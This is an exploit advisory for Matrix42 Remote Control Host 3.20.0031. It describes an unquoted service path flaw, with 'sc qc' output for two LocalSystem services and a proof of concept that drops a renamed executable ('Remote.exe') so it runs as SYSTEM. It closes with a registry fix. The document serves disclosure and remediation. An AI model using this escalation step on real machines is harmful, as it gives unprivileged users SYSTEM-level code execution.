Matrix42 Remote Control Host 3.20.0031 - Unquoted Path Privilege Escalation

# Exploit Title: Matrix42 Remote Control Host - Unquoted Path Privilege Escalation
# Date: 06-05-2016
# Exploit Author: Roland C. Redl
# Vendor Homepage: https://www.matrix42.com/
# Software Link: n/a
# Version: 3.20.0031
# Tested on: Windows 7 Enterprise SP1 x64
# CVE : n/a

1. Description:

>sc qc FastViewerRemoteProxy
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FastViewerRemoteProxy
        TYPE : 10  WIN32_OWN_PROCESS
        START_TYPE : 4   DISABLED
        ERROR_CONTROL : 1   NORMAL
        BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastProxy.exe
        LOAD_ORDER_GROUP :
        TAG : 0
        DISPLAY_NAME : FastViewer Proxyservice
        DEPENDENCIES :
        SERVICE_START_NAME : LocalSystem

>sc qc FastViewerRemoteService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: FastViewerRemoteService
        TYPE : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE  : 2   AUTO_START
        ERROR_CONTROL  : 1   NORMAL
        BINARY_PATH_NAME : C:\Program Files (x86)\Matrix42\Remote Control Host\FastRemoteService.exe
        LOAD_ORDER_GROUP :
        TAG  : 0
        DISPLAY_NAME : FastViewer Remoteservice
        DEPENDENCIES :
        SERVICE_START_NAME : LocalSystem

The unquoted path could potentially allow an authorized but non privileged local user to execute arbitrary code with elevated privileges on the system.

2. Proof of concept:

Copy notepad.exe to "C:\Program Files (x86)\Matrix42\" and rename it to "Remote.exe".
Restart the service or the machine and Remote.exe will start with SYSTEM privileges.

3. Solution: 

To fix it manually, open regedit, browse to HKLM\SYSTEM\CurrentControlSet\services and add the quotes to the ImagePath value of the relevant service.